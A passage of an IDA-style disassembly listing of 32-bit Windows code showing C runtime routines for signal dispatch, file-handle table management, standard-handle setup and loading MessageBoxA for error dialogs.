		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_42B600
		add	esp, 8
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_42B293
		jmp	short loc_42B2D8
; ---------------------------------------------------------------------------


loc_42B293:				; CODE XREF: .nsp0:0042B28Fj
		mov	ecx, [ebp-8]
		mov	edx, [ecx+8]
		mov	[ebp-0Ch], edx


loc_42B29C:				; CODE XREF: .nsp0:loc_42B2D1j
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		cmp	ecx, [ebp+8]
		jnz	short loc_42B2D3
		mov	edx, [ebp-8]
		mov	eax, [ebp+0Ch]
		mov	[edx+8], eax
		mov	ecx, [ebp-8]
		add	ecx, 0Ch
		mov	[ebp-8], ecx
		mov	edx, dword_451C4C
		imul	edx, 0Ch
		mov	eax, [ebp-4]
		mov	ecx, [eax+50h]
		add	ecx, edx
		cmp	[ebp-8], ecx
		jb	short loc_42B2D1
		jmp	short loc_42B2D3
; ---------------------------------------------------------------------------


loc_42B2D1:				; CODE XREF: .nsp0:0042B2CDj
		jmp	short loc_42B29C
; ---------------------------------------------------------------------------


loc_42B2D3:				; CODE XREF: .nsp0:0042B1FCj
					; .nsp0:0042B2A5j ...
		mov	eax, [ebp-0Ch]
		jmp	short loc_42B2E6
; ---------------------------------------------------------------------------


loc_42B2D8:				; CODE XREF: .nsp0:loc_42B103j
					; .nsp0:0042B17Aj ...
		call	sub_4248A0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh


loc_42B2E6:				; CODE XREF: .nsp0:0042B2D6j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
off_42B2EB	dd offset loc_42B1A6	; DATA XREF: .nsp0:0042B19Fr
		dd offset loc_42B1E0
		dd offset loc_42B1BA
		dd offset loc_42B1CD
		dd offset loc_42B1F2
byte_42B2FF	db 0			; DATA XREF: .nsp0:0042B199r
		dd 3 dup(4040404h), 4040401h, 3020404h,	3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B320	proc near		; DATA XREF: .nsp0:0042B145o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1
		call	sub_41FB40
		add	esp, 4
		cmp	[ebp+arg_0], 0
		jnz	short loc_42B34E
		mov	[ebp+var_8], offset dword_4EFAA8
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 2
		jmp	short loc_42B364
; ---------------------------------------------------------------------------


loc_42B34E:				; CODE XREF: sub_42B320+14j
		mov	[ebp+var_8], offset dword_4EFAAC
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], 15h


loc_42B364:				; CODE XREF: sub_42B320+2Cj
		cmp	[ebp+var_C], 0
		jnz	short loc_42B378
		push	1
		call	sub_41FBE0
		add	esp, 4
		xor	eax, eax
		jmp	short loc_42B3AC
; ---------------------------------------------------------------------------


loc_42B378:				; CODE XREF: sub_42B320+48j
		cmp	[ebp+var_C], 1
		jz	short loc_42B39D
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx], 0
		push	1
		call	sub_41FBE0
		add	esp, 4
		mov	edx, [ebp+var_4]
		push	edx
		call	[ebp+var_C]
		add	esp, 4
		jmp	short loc_42B3A7
; ---------------------------------------------------------------------------


loc_42B39D:				; CODE XREF: sub_42B320+5Cj
		push	1
		call	sub_41FBE0
		add	esp, 4


loc_42B3A7:				; CODE XREF: sub_42B320+7Bj
		mov	eax, 1


loc_42B3AC:				; CODE XREF: sub_42B320+56j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_42B320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B3C0	proc near		; CODE XREF: sub_41F260+2E7p
					; sub_42DF00+Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		sub	ecx, 2
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 14h
		ja	loc_42B48E
		mov	eax, [ebp+var_20]
		xor	edx, edx
		mov	dl, byte_42B5E2[eax]
		jmp	off_42B5CA[edx*4]


loc_42B3F8:				; DATA XREF: .nsp0:off_42B5CAo
		mov	[ebp+var_18], offset dword_4EFAA8
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	loc_42B496
; ---------------------------------------------------------------------------


loc_42B415:				; CODE XREF: sub_42B3C0+31j
					; DATA XREF: .nsp0:0042B5D6o
		mov	[ebp+var_18], offset dword_4EFAAC
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_42B496
; ---------------------------------------------------------------------------


loc_42B42F:				; CODE XREF: sub_42B3C0+31j
					; DATA XREF: .nsp0:0042B5DAo
		mov	[ebp+var_18], offset dword_4EFAB0
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_42B496
; ---------------------------------------------------------------------------


loc_42B449:				; CODE XREF: sub_42B3C0+31j
					; DATA XREF: .nsp0:0042B5D2o
		mov	[ebp+var_18], offset dword_4EFAB4
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_42B496
; ---------------------------------------------------------------------------


loc_42B463:				; CODE XREF: sub_42B3C0+31j
					; DATA XREF: .nsp0:0042B5CEo
		call	sub_423CF0
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B600
		add	esp, 8
		add	eax, 8
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		jmp	short loc_42B496
; ---------------------------------------------------------------------------


loc_42B48E:				; CODE XREF: sub_42B3C0+20j
					; sub_42B3C0+31j
					; DATA XREF: ...
		or	eax, 0FFFFFFFFh
		jmp	loc_42B5C6
; ---------------------------------------------------------------------------


loc_42B496:				; CODE XREF: sub_42B3C0+50j
					; sub_42B3C0+6Dj ...
		cmp	[ebp+var_C], 0
		jz	short loc_42B4A6
		push	1
		call	sub_41FB40
		add	esp, 4


loc_42B4A6:				; CODE XREF: sub_42B3C0+DAj
		cmp	[ebp+var_1C], 1
		jnz	short loc_42B4C3
		cmp	[ebp+var_C], 0
		jz	short loc_42B4BC
		push	1
		call	sub_41FBE0
		add	esp, 4


loc_42B4BC:				; CODE XREF: sub_42B3C0+F0j
		xor	eax, eax
		jmp	loc_42B5C6
; ---------------------------------------------------------------------------


loc_42B4C3:				; CODE XREF: sub_42B3C0+EAj
		cmp	[ebp+var_1C], 0
		jnz	short loc_42B4E0
		cmp	[ebp+var_C], 0
		jz	short loc_42B4D9
		push	1
		call	sub_41FBE0
		add	esp, 4


loc_42B4D9:				; CODE XREF: sub_42B3C0+10Dj
		push	3
		call	sub_41B5A0


loc_42B4E0:				; CODE XREF: sub_42B3C0+107j
		cmp	[ebp+arg_0], 8
		jz	short loc_42B4F2
		cmp	[ebp+arg_0], 0Bh
		jz	short loc_42B4F2
		cmp	[ebp+arg_0], 4
		jnz	short loc_42B51E


loc_42B4F2:				; CODE XREF: sub_42B3C0+124j
					; sub_42B3C0+12Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+54h]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+54h], 0
		cmp	[ebp+arg_0], 8
		jnz	short loc_42B51E
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+58h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+58h], 8Ch


loc_42B51E:				; CODE XREF: sub_42B3C0+130j
					; sub_42B3C0+149j
		cmp	[ebp+arg_0], 8
		jnz	short loc_42B560
		mov	eax, dword_451C40
		mov	[ebp+var_10], eax
		jmp	short loc_42B537
; ---------------------------------------------------------------------------


loc_42B52E:				; CODE XREF: sub_42B3C0+19Cj
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_42B537:				; CODE XREF: sub_42B3C0+16Cj
		mov	edx, dword_451C40
		add	edx, dword_451C44
		cmp	[ebp+var_10], edx
		jge	short loc_42B55E
		mov	eax, [ebp+var_10]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+50h]
		mov	dword ptr [edx+eax+8], 0
		jmp	short loc_42B52E
; ---------------------------------------------------------------------------


loc_42B55E:				; CODE XREF: sub_42B3C0+186j
		jmp	short loc_42B569
; ---------------------------------------------------------------------------


loc_42B560:				; CODE XREF: sub_42B3C0+162j
		mov	eax, [ebp+var_18]
		mov	dword ptr [eax], 0


loc_42B569:				; CODE XREF: sub_42B3C0:loc_42B55Ej
		cmp	[ebp+var_C], 0
		jz	short loc_42B579
		push	1
		call	sub_41FBE0
		add	esp, 4


loc_42B579:				; CODE XREF: sub_42B3C0+1ADj
		cmp	[ebp+arg_0], 8
		jnz	short loc_42B590
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+58h]
		push	edx
		push	8
		call	[ebp+var_1C]
		add	esp, 8
		jmp	short loc_42B59A
; ---------------------------------------------------------------------------


loc_42B590:				; CODE XREF: sub_42B3C0+1BDj
		mov	eax, [ebp+arg_0]
		push	eax
		call	[ebp+var_1C]
		add	esp, 4


loc_42B59A:				; CODE XREF: sub_42B3C0+1CEj
		cmp	[ebp+arg_0], 8
		jz	short loc_42B5AC
		cmp	[ebp+arg_0], 0Bh
		jz	short loc_42B5AC
		cmp	[ebp+arg_0], 4
		jnz	short loc_42B5C4


loc_42B5AC:				; CODE XREF: sub_42B3C0+1DEj
					; sub_42B3C0+1E4j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_14]
		mov	[ecx+54h], edx
		cmp	[ebp+arg_0], 8
		jnz	short loc_42B5C4
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+58h], ecx


loc_42B5C4:				; CODE XREF: sub_42B3C0+1EAj
					; sub_42B3C0+1F9j
		xor	eax, eax


loc_42B5C6:				; CODE XREF: sub_42B3C0+D1j
					; sub_42B3C0+FEj
		mov	esp, ebp
		pop	ebp
		retn
sub_42B3C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_42B5CA	dd offset loc_42B3F8	; DATA XREF: sub_42B3C0+31r
		dd offset loc_42B463
		dd offset loc_42B449
		dd offset loc_42B415
		dd offset loc_42B42F
		dd offset loc_42B48E
byte_42B5E2	db 0			; DATA XREF: sub_42B3C0+2Br
		db 5
		dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
		dd 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B600	proc near		; CODE XREF: .nsp0:0042B280p
					; sub_42B3C0+B6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_42B60A:				; CODE XREF: sub_42B600+31j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+arg_0]
		jz	short loc_42B633
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ecx, dword_451C4C
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		cmp	[ebp+var_4], edx
		jnb	short loc_42B633
		jmp	short loc_42B60A
; ---------------------------------------------------------------------------


loc_42B633:				; CODE XREF: sub_42B600+13j
					; sub_42B600+2Fj
		mov	eax, dword_451C4C
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		cmp	[ebp+var_4], ecx
		jnb	short loc_42B655
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_42B655
		mov	eax, [ebp+var_4]
		jmp	short loc_42B657
; ---------------------------------------------------------------------------


loc_42B655:				; CODE XREF: sub_42B600+43j
					; sub_42B600+4Ej
		xor	eax, eax


loc_42B657:				; CODE XREF: sub_42B600+53j
		mov	esp, ebp
		pop	ebp
		retn
sub_42B600	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_423CF0
		add	eax, 58h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B670	proc near		; CODE XREF: .nsp0:0042CF09p
		push	ebp
		mov	ebp, esp
		call	sub_423CF0
		add	eax, 54h
		pop	ebp
		retn
sub_42B670	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B680	proc near		; CODE XREF: sub_41F260+2CEp
					; sub_42AB10+1B0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0
		cmp	dword_4EFABC, 0
		jnz	short loc_42B6F3
		push	offset aUser32_dll_0 ; "user32.dll"
		call	dword_4F1374	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_42B6C7
		push	offset aMessageboxa ; "MessageBoxA"
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_4F1378	; GetProcAddress
		mov	dword_4EFABC, eax
		cmp	dword_4EFABC, 0
		jnz	short loc_42B6CB


loc_42B6C7:				; CODE XREF: sub_42B680+28j
		xor	eax, eax
		jmp	short loc_42B737
; ---------------------------------------------------------------------------


loc_42B6CB:				; CODE XREF: sub_42B680+45j
		push	offset aGetactivewindo ; "GetActiveWindow"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	dword_4F1378	; GetProcAddress
		mov	dword_4EFAC0, eax
		push	offset aGetlastactivep ; "GetLastActivePopup"
		mov	edx, [ebp+var_8]
		push	edx
		call	dword_4F1378	; GetProcAddress
		mov	dword_4EFAC4, eax


loc_42B6F3:				; CODE XREF: sub_42B680+14j
		cmp	dword_4EFAC0, 0
		jz	short loc_42B705
		call	dword_4EFAC0
		mov	[ebp+var_4], eax


loc_42B705:				; CODE XREF: sub_42B680+7Aj
		cmp	[ebp+var_4], 0
		jz	short loc_42B721
		cmp	dword_4EFAC4, 0
		jz	short loc_42B721
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4EFAC4
		mov	[ebp+var_4], eax


loc_42B721:				; CODE XREF: sub_42B680+89j
					; sub_42B680+92j
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_4EFABC


loc_42B737:				; CODE XREF: sub_42B680+49j
		mov	esp, ebp
		pop	ebp
		retn
sub_42B680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B740	proc near		; CODE XREF: .nsp0:loc_42BBD2p
					; sub_42C3D0:loc_42C669p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	[ebp+var_8], 0FFFFFFFFh
		push	12h
		call	sub_41FB40
		add	esp, 4
		mov	[ebp+var_C], 0
		jmp	short loc_42B76A
; ---------------------------------------------------------------------------


loc_42B761:				; CODE XREF: sub_42B740:loc_42B90Bj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_42B76A:				; CODE XREF: sub_42B740+1Fj
		cmp	[ebp+var_C], 40h
		jge	loc_42B910
		mov	ecx, [ebp+var_C]
		cmp	dword_4EFC40[ecx*4], 0
		jz	loc_42B876
		mov	edx, [ebp+var_C]
		mov	eax, dword_4EFC40[edx*4]
		mov	[ebp+var_4], eax
		jmp	short loc_42B79D
; ---------------------------------------------------------------------------


loc_42B794:				; CODE XREF: sub_42B740+F1j
					; sub_42B740:loc_42B861j
		mov	ecx, [ebp+var_4]
		add	ecx, 24h
		mov	[ebp+var_4], ecx


loc_42B79D:				; CODE XREF: sub_42B740+52j
		mov	edx, [ebp+var_C]
		mov	eax, dword_4EFC40[edx*4]
		add	eax, 480h
		cmp	[ebp+var_4], eax
		jnb	loc_42B866
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 1
		test	edx, edx
		jnz	loc_42B861
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_42B809
		push	11h
		call	sub_41FB40
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_42B7FF
		mov	edx, [ebp+var_4]
		add	edx, 0Ch
		push	edx
		call	dword_4F1470	; InitializeCriticalSection
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx


loc_42B7FF:				; CODE XREF: sub_42B740+A1j
		push	11h
		call	sub_41FBE0
		add	esp, 4


loc_42B809:				; CODE XREF: sub_42B740+8Ej
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		push	eax
		call	dword_4F1390	; RtlEnterCriticalSection
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 1
		test	edx, edx
		jz	short loc_42B836
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		push	eax
		call	dword_4F138C	; RtlLeaveCriticalSection
		jmp	loc_42B794
; ---------------------------------------------------------------------------


loc_42B836:				; CODE XREF: sub_42B740+E2j
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	ecx, [ebp+var_C]
		shl	ecx, 5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		sub	eax, dword_4EFC40[edx*4]
		cdq
		mov	esi, 24h
		idiv	esi
		add	ecx, eax
		mov	[ebp+var_8], ecx
		jmp	short loc_42B866
; ---------------------------------------------------------------------------


loc_42B861:				; CODE XREF: sub_42B740+81j
		jmp	loc_42B794
; ---------------------------------------------------------------------------


loc_42B866:				; CODE XREF: sub_42B740+6Fj
					; sub_42B740+11Fj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_42B871
		jmp	loc_42B910
; ---------------------------------------------------------------------------


loc_42B871:				; CODE XREF: sub_42B740+12Aj
		jmp	loc_42B90B
; ---------------------------------------------------------------------------


loc_42B876:				; CODE XREF: sub_42B740+3Fj
		push	79h
		push	offset aOsfinfo_c ; "osfinfo.c"
		push	2
		push	480h
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42B909
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	dword_4EFC40[eax*4], ecx
		mov	edx, dword_4EFD40
		add	edx, 20h
		mov	dword_4EFD40, edx
		jmp	short loc_42B8BC
; ---------------------------------------------------------------------------


loc_42B8B3:				; CODE XREF: sub_42B740+1B2j
		mov	eax, [ebp+var_4]
		add	eax, 24h
		mov	[ebp+var_4], eax


loc_42B8BC:				; CODE XREF: sub_42B740+171j
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4EFC40[ecx*4]
		add	edx, 480h
		cmp	[ebp+var_4], edx
		jnb	short loc_42B8F4
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+8], 0
		jmp	short loc_42B8B3
; ---------------------------------------------------------------------------


loc_42B8F4:				; CODE XREF: sub_42B740+18Fj
		mov	ecx, [ebp+var_C]
		shl	ecx, 5
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_42BC50
		add	esp, 4


loc_42B909:				; CODE XREF: sub_42B740+153j
		jmp	short loc_42B910
; ---------------------------------------------------------------------------


loc_42B90B:				; CODE XREF: sub_42B740:loc_42B871j
		jmp	loc_42B761
; ---------------------------------------------------------------------------


loc_42B910:				; CODE XREF: sub_42B740+2Ej
					; sub_42B740+12Cj ...
		push	12h
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp+var_8]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42B740	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B930	proc near		; CODE XREF: .nsp0:0042BC03p
					; sub_42C3D0+379p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4EFD40
		jnb	loc_42B9CA
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		cmp	dword ptr [eax+edx], 0FFFFFFFFh
		jnz	short loc_42B9CA
		cmp	dword_451124, 1
		jnz	short loc_42B9AA
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jz	short loc_42B982
		cmp	[ebp+var_4], 1
		jz	short loc_42B990
		cmp	[ebp+var_4], 2
		jz	short loc_42B99E
		jmp	short loc_42B9AA
; ---------------------------------------------------------------------------


loc_42B982:				; CODE XREF: sub_42B930+42j
		mov	edx, [ebp+arg_4]
		push	edx
		push	0FFFFFFF6h
		call	dword_4F12F8	; SetStdHandle
		jmp	short loc_42B9AA
; ---------------------------------------------------------------------------


loc_42B990:				; CODE XREF: sub_42B930+48j
		mov	eax, [ebp+arg_4]
		push	eax
		push	0FFFFFFF5h
		call	dword_4F12F8	; SetStdHandle
		jmp	short loc_42B9AA
; ---------------------------------------------------------------------------


loc_42B99E:				; CODE XREF: sub_42B930+4Ej
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0FFFFFFF4h
		call	dword_4F12F8	; SetStdHandle


loc_42B9AA:				; CODE XREF: sub_42B930+36j
					; sub_42B930+50j ...
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4EFC40[edx*4]
		mov	edx, [ebp+arg_4]
		mov	[ecx+eax], edx
		xor	eax, eax
		jmp	short loc_42B9E3
; ---------------------------------------------------------------------------


loc_42B9CA:				; CODE XREF: sub_42B930+Dj
					; sub_42B930+2Dj
		call	sub_4248A0
		mov	dword ptr [eax], 9
		call	sub_4248B0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_42B9E3:				; CODE XREF: sub_42B930+98j
		mov	esp, ebp
		pop	ebp
		retn
sub_42B930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B9F0	proc near		; CODE XREF: sub_41F5F0+69p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4EFD40
		jnb	loc_42BAAB
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_42BAAB
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4EFC40[edx*4]
		cmp	dword ptr [ecx+eax], 0FFFFFFFFh
		jz	short loc_42BAAB
		cmp	dword_451124, 1
		jnz	short loc_42BA8A
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jz	short loc_42BA68
		cmp	[ebp+var_4], 1
		jz	short loc_42BA74
		cmp	[ebp+var_4], 2
		jz	short loc_42BA80
		jmp	short loc_42BA8A
; ---------------------------------------------------------------------------


loc_42BA68:				; CODE XREF: sub_42B9F0+68j
		push	0
		push	0FFFFFFF6h
		call	dword_4F12F8	; SetStdHandle
		jmp	short loc_42BA8A
; ---------------------------------------------------------------------------


loc_42BA74:				; CODE XREF: sub_42B9F0+6Ej
		push	0
		push	0FFFFFFF5h
		call	dword_4F12F8	; SetStdHandle
		jmp	short loc_42BA8A
; ---------------------------------------------------------------------------


loc_42BA80:				; CODE XREF: sub_42B9F0+74j
		push	0
		push	0FFFFFFF4h
		call	dword_4F12F8	; SetStdHandle


loc_42BA8A:				; CODE XREF: sub_42B9F0+5Cj
					; sub_42B9F0+76j ...
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		mov	dword ptr [edx+ecx], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42BAC4
; ---------------------------------------------------------------------------


loc_42BAAB:				; CODE XREF: sub_42B9F0+Dj
					; sub_42B9F0+33j ...
		call	sub_4248A0
		mov	dword ptr [eax], 9
		call	sub_4248B0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_42BAC4:				; CODE XREF: sub_42B9F0+B9j
		mov	esp, ebp
		pop	ebp
		retn
sub_42B9F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BAD0	proc near		; CODE XREF: sub_41F5F0+9p
					; sub_41F5F0+24p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4EFD40
		jnb	short loc_42BB1B
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42BB1B
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4EFC40[edx*4]
		mov	eax, [ecx+eax]
		jmp	short loc_42BB34
; ---------------------------------------------------------------------------


loc_42BB1B:				; CODE XREF: sub_42BAD0+Cj
					; sub_42BAD0+2Ej
		call	sub_4248A0
		mov	dword ptr [eax], 9
		call	sub_4248B0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_42BB34:				; CODE XREF: sub_42BAD0+49j
		pop	ebp
		retn
sub_42BAD0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	byte ptr [ebp-0Ch], 0
		mov	eax, [ebp+0Ch]
		and	eax, 8
		test	eax, eax
		jz	short loc_42BB5D
		mov	cl, [ebp-0Ch]
		or	cl, 20h
		mov	[ebp-0Ch], cl


loc_42BB5D:				; CODE XREF: .nsp0:0042BB52j
		mov	edx, [ebp+0Ch]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_42BB72
		mov	al, [ebp-0Ch]
		or	al, 80h
		mov	[ebp-0Ch], al


loc_42BB72:				; CODE XREF: .nsp0:0042BB68j
		mov	ecx, [ebp+0Ch]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_42BB88
		mov	dl, [ebp-0Ch]
		or	dl, 10h
		mov	[ebp-0Ch], dl


loc_42BB88:				; CODE XREF: .nsp0:0042BB7Dj
		mov	eax, [ebp+8]
		push	eax
		call	dword_4F12FC	; GetFileType
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_42BBB2
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		call	sub_424800
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42BC40
; ---------------------------------------------------------------------------


loc_42BBB2:				; CODE XREF: .nsp0:0042BB99j
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_42BBC3
		mov	cl, [ebp-0Ch]
		or	cl, 40h
		mov	[ebp-0Ch], cl
		jmp	short loc_42BBD2
; ---------------------------------------------------------------------------


loc_42BBC3:				; CODE XREF: .nsp0:0042BBB6j
